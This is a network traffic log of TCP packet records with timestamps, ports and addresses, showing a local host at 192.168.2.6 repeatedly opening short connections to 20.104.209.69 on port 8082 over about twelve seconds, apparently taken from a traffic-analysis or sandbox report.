Jan 8, 2023 16:09:49.722138882 CET	50090	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:49.836697102 CET	8082	50090	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:49.837105989 CET	50090	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:49.838332891 CET	50090	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:49.952404976 CET	8082	50090	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:49.957540035 CET	8082	50090	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:49.957619905 CET	8082	50090	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:49.957659960 CET	8082	50090	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:49.957701921 CET	50090	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:49.957745075 CET	50090	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:49.958532095 CET	50090	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:50.073055983 CET	8082	50090	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:50.106755018 CET	50091	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:50.221313000 CET	8082	50091	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:50.221483946 CET	50091	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:50.222174883 CET	50091	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:50.336055994 CET	8082	50091	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:50.339487076 CET	8082	50091	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:50.339529037 CET	8082	50091	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:50.339546919 CET	8082	50091	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:50.339580059 CET	50091	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:50.339649916 CET	50091	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:50.350222111 CET	50091	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:50.464334011 CET	8082	50091	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:50.487684965 CET	50092	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:50.602332115 CET	8082	50092	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:50.602472067 CET	50092	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:50.603357077 CET	50092	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:50.717385054 CET	8082	50092	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:50.722775936 CET	8082	50092	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:50.722814083 CET	8082	50092	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:50.722856998 CET	8082	50092	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:50.722969055 CET	50092	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:50.722970009 CET	50092	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:50.722970009 CET	50092	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:50.726773977 CET	50092	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:50.840861082 CET	8082	50092	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:50.869216919 CET	50093	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:50.983643055 CET	8082	50093	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:50.983783960 CET	50093	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:50.984417915 CET	50093	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:51.098160982 CET	8082	50093	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:51.102443933 CET	8082	50093	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:51.102488041 CET	8082	50093	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:51.102513075 CET	8082	50093	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:51.102523088 CET	50093	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:51.102560043 CET	50093	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:51.102560043 CET	50093	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:51.103001118 CET	50093	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:51.217241049 CET	8082	50093	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:51.238676071 CET	50094	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:51.354002953 CET	8082	50094	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:51.354140997 CET	50094	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:51.354813099 CET	50094	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:51.468739033 CET	8082	50094	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:51.513955116 CET	8082	50094	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:51.513993025 CET	8082	50094	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:51.514019966 CET	8082	50094	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:51.514273882 CET	50094	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:51.531308889 CET	50094	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:51.645510912 CET	8082	50094	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:51.672095060 CET	50095	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:51.786823988 CET	8082	50095	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:51.789935112 CET	50095	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:51.790786982 CET	50095	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:51.904460907 CET	8082	50095	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:51.908757925 CET	8082	50095	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:51.908797026 CET	8082	50095	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:51.908813000 CET	8082	50095	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:51.908942938 CET	50095	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:51.909394979 CET	50095	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:52.023070097 CET	8082	50095	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:52.046397924 CET	50096	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:52.160871029 CET	8082	50096	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:52.161998987 CET	50096	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:52.167351007 CET	50096	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:52.282357931 CET	8082	50096	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:52.285697937 CET	8082	50096	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:52.285737038 CET	8082	50096	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:52.285762072 CET	8082	50096	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:52.285974979 CET	50096	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:52.286492109 CET	50096	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:52.400532961 CET	8082	50096	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:52.424458027 CET	50097	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:52.538919926 CET	8082	50097	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:52.539042950 CET	50097	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:52.539773941 CET	50097	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:52.654236078 CET	8082	50097	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:52.657823086 CET	8082	50097	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:52.657867908 CET	8082	50097	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:52.657946110 CET	8082	50097	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:52.658039093 CET	50097	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:52.658129930 CET	50097	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:52.673207045 CET	50097	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:52.789479971 CET	8082	50097	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:52.812197924 CET	50098	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:52.926616907 CET	8082	50098	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:52.926862001 CET	50098	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:52.927278042 CET	50098	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:53.041254997 CET	8082	50098	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:53.046828032 CET	8082	50098	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:53.046870947 CET	8082	50098	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:53.046894073 CET	8082	50098	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:53.046928883 CET	50098	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:53.046958923 CET	50098	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:53.047018051 CET	50098	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:53.047384024 CET	50098	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:53.161389112 CET	8082	50098	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:53.184664965 CET	50099	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:53.299243927 CET	8082	50099	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:53.299395084 CET	50099	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:53.300023079 CET	50099	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:53.413916111 CET	8082	50099	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:53.418289900 CET	8082	50099	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:53.418359041 CET	8082	50099	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:53.418384075 CET	8082	50099	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:53.418456078 CET	50099	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:53.418494940 CET	50099	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:53.418494940 CET	50099	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:53.419025898 CET	50099	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:53.533036947 CET	8082	50099	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:53.558712959 CET	50100	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:53.673002005 CET	8082	50100	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:53.673120975 CET	50100	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:53.674154997 CET	50100	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:53.788547993 CET	8082	50100	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:53.792149067 CET	8082	50100	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:53.792186975 CET	8082	50100	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:53.792428017 CET	50100	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:53.792483091 CET	8082	50100	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:53.792567015 CET	50100	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:53.814342976 CET	50100	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:53.928535938 CET	8082	50100	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:53.950385094 CET	50101	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:54.064776897 CET	8082	50101	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:54.064923048 CET	50101	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:54.067894936 CET	50101	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:54.181802988 CET	8082	50101	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:54.187021971 CET	8082	50101	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:54.187061071 CET	8082	50101	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:54.187077999 CET	8082	50101	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:54.187131882 CET	50101	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:54.187175035 CET	50101	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:54.188657999 CET	50101	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:54.302632093 CET	8082	50101	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:54.332607985 CET	50102	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:54.481898069 CET	8082	50102	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:54.482070923 CET	50102	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:54.482906103 CET	50102	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:54.597071886 CET	8082	50102	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:54.601170063 CET	8082	50102	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:54.601217031 CET	8082	50102	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:54.601473093 CET	8082	50102	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:54.601495981 CET	50102	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:54.601562023 CET	50102	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:54.602413893 CET	50102	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:54.716427088 CET	8082	50102	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:54.734725952 CET	50103	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:54.849304914 CET	8082	50103	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:54.850125074 CET	50103	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:54.851067066 CET	50103	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:54.966464043 CET	8082	50103	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:54.971113920 CET	8082	50103	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:54.971133947 CET	8082	50103	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:54.971184969 CET	8082	50103	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:54.971304893 CET	50103	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:54.971347094 CET	50103	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:54.989164114 CET	50103	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:55.106224060 CET	8082	50103	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:55.129462957 CET	50104	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:55.246139050 CET	8082	50104	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:55.246270895 CET	50104	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:55.246917963 CET	50104	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:55.362210035 CET	8082	50104	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:55.364912033 CET	8082	50104	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:55.364952087 CET	8082	50104	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:55.364995003 CET	50104	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:55.365039110 CET	50104	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:55.366852045 CET	8082	50104	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:55.366986036 CET	50104	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:55.367415905 CET	50104	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:55.481723070 CET	8082	50104	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:55.501682043 CET	50105	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:55.616170883 CET	8082	50105	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:55.616486073 CET	50105	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:55.617094994 CET	50105	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:55.734340906 CET	8082	50105	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:55.735738039 CET	8082	50105	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:55.735775948 CET	8082	50105	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:55.735888004 CET	50105	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:55.735929966 CET	50105	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:55.738148928 CET	8082	50105	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:55.738279104 CET	50105	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:55.738599062 CET	50105	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:55.854202032 CET	8082	50105	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:55.880865097 CET	50106	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:55.997703075 CET	8082	50106	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:55.997802019 CET	50106	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:55.998351097 CET	50106	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:56.112485886 CET	8082	50106	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:56.116681099 CET	8082	50106	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:56.116835117 CET	50106	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:56.117552042 CET	8082	50106	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:56.117593050 CET	8082	50106	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:56.117645025 CET	50106	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:56.117686987 CET	50106	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:56.128437996 CET	50106	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:56.242806911 CET	8082	50106	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:56.275139093 CET	50107	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:56.389408112 CET	8082	50107	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:56.389693975 CET	50107	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:56.390501976 CET	50107	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:56.504281998 CET	8082	50107	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:56.509381056 CET	8082	50107	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:56.509426117 CET	8082	50107	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:56.509448051 CET	8082	50107	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:56.509601116 CET	50107	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:56.509601116 CET	50107	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:56.512624979 CET	50107	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:56.626980066 CET	8082	50107	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:56.653393030 CET	50108	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:56.767764091 CET	8082	50108	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:56.767947912 CET	50108	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:56.787559986 CET	50108	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:56.901612043 CET	8082	50108	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:56.905539036 CET	8082	50108	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:56.905587912 CET	8082	50108	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:56.905605078 CET	8082	50108	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:56.905656099 CET	50108	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:56.905709982 CET	50108	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:56.906358957 CET	50108	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:57.020324945 CET	8082	50108	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:57.043171883 CET	50109	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:57.158633947 CET	8082	50109	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:57.158860922 CET	50109	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:57.159385920 CET	50109	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:57.273147106 CET	8082	50109	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:57.278350115 CET	8082	50109	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:57.278390884 CET	8082	50109	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:57.278434992 CET	8082	50109	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:57.278481960 CET	50109	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:57.278537989 CET	50109	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:57.294009924 CET	50109	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:57.408265114 CET	8082	50109	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:57.440529108 CET	50110	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:57.554974079 CET	8082	50110	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:57.555156946 CET	50110	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:57.555609941 CET	50110	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:57.669657946 CET	8082	50110	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:57.673908949 CET	8082	50110	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:57.673947096 CET	8082	50110	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:57.673969984 CET	8082	50110	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:57.674011946 CET	50110	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:57.674052000 CET	50110	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:57.674913883 CET	50110	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:57.789541006 CET	8082	50110	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:57.817369938 CET	50111	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:57.931858063 CET	8082	50111	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:57.934804916 CET	50111	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:57.935312986 CET	50111	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:58.049161911 CET	8082	50111	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:58.053308964 CET	8082	50111	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:58.053319931 CET	8082	50111	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:58.053338051 CET	8082	50111	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:58.053488016 CET	50111	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:58.054039001 CET	50111	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:58.168659925 CET	8082	50111	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:58.190496922 CET	50112	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:58.305362940 CET	8082	50112	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:58.305598021 CET	50112	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:58.306230068 CET	50112	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:58.420476913 CET	8082	50112	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:58.424377918 CET	8082	50112	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:58.424442053 CET	8082	50112	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:58.424473047 CET	8082	50112	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:58.424576998 CET	50112	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:58.424627066 CET	50112	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:58.435822964 CET	50112	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:58.549951077 CET	8082	50112	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:58.583172083 CET	50113	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:58.697726965 CET	8082	50113	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:58.698745966 CET	50113	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:58.699393988 CET	50113	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:58.813465118 CET	8082	50113	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:58.821568966 CET	8082	50113	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:58.821604967 CET	8082	50113	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:58.821619034 CET	8082	50113	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:58.821935892 CET	50113	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:58.822608948 CET	50113	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:58.936641932 CET	8082	50113	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:58.990201950 CET	50114	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:59.104696035 CET	8082	50114	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:59.106452942 CET	50114	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:59.279290915 CET	50114	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:59.393479109 CET	8082	50114	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:59.397242069 CET	8082	50114	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:59.397273064 CET	8082	50114	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:59.397387028 CET	50114	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:59.397670031 CET	8082	50114	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:59.397735119 CET	50114	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:59.446392059 CET	50114	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:59.560889006 CET	8082	50114	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:59.574707031 CET	50115	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:59.689151049 CET	8082	50115	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:59.689276934 CET	50115	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:59.690217972 CET	50115	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:59.804092884 CET	8082	50115	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:59.808163881 CET	8082	50115	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:59.808213949 CET	8082	50115	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:59.808319092 CET	50115	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:59.808352947 CET	50115	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:59.808368921 CET	8082	50115	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:59.808434963 CET	50115	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:59.823080063 CET	50115	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:59.937104940 CET	8082	50115	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:00.028573036 CET	50116	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:00.142843008 CET	8082	50116	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:00.142971992 CET	50116	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:00.151966095 CET	50116	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:00.266094923 CET	8082	50116	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:00.270495892 CET	8082	50116	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:00.270555019 CET	8082	50116	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:00.270576954 CET	8082	50116	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:00.270651102 CET	50116	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:00.270728111 CET	50116	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:00.965672970 CET	50116	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:01.079808950 CET	8082	50116	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:01.242042065 CET	50117	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:01.356416941 CET	8082	50117	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:01.356545925 CET	50117	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:01.357407093 CET	50117	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:01.471285105 CET	8082	50117	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:01.475199938 CET	8082	50117	20.104.209.69	192.168.2.6
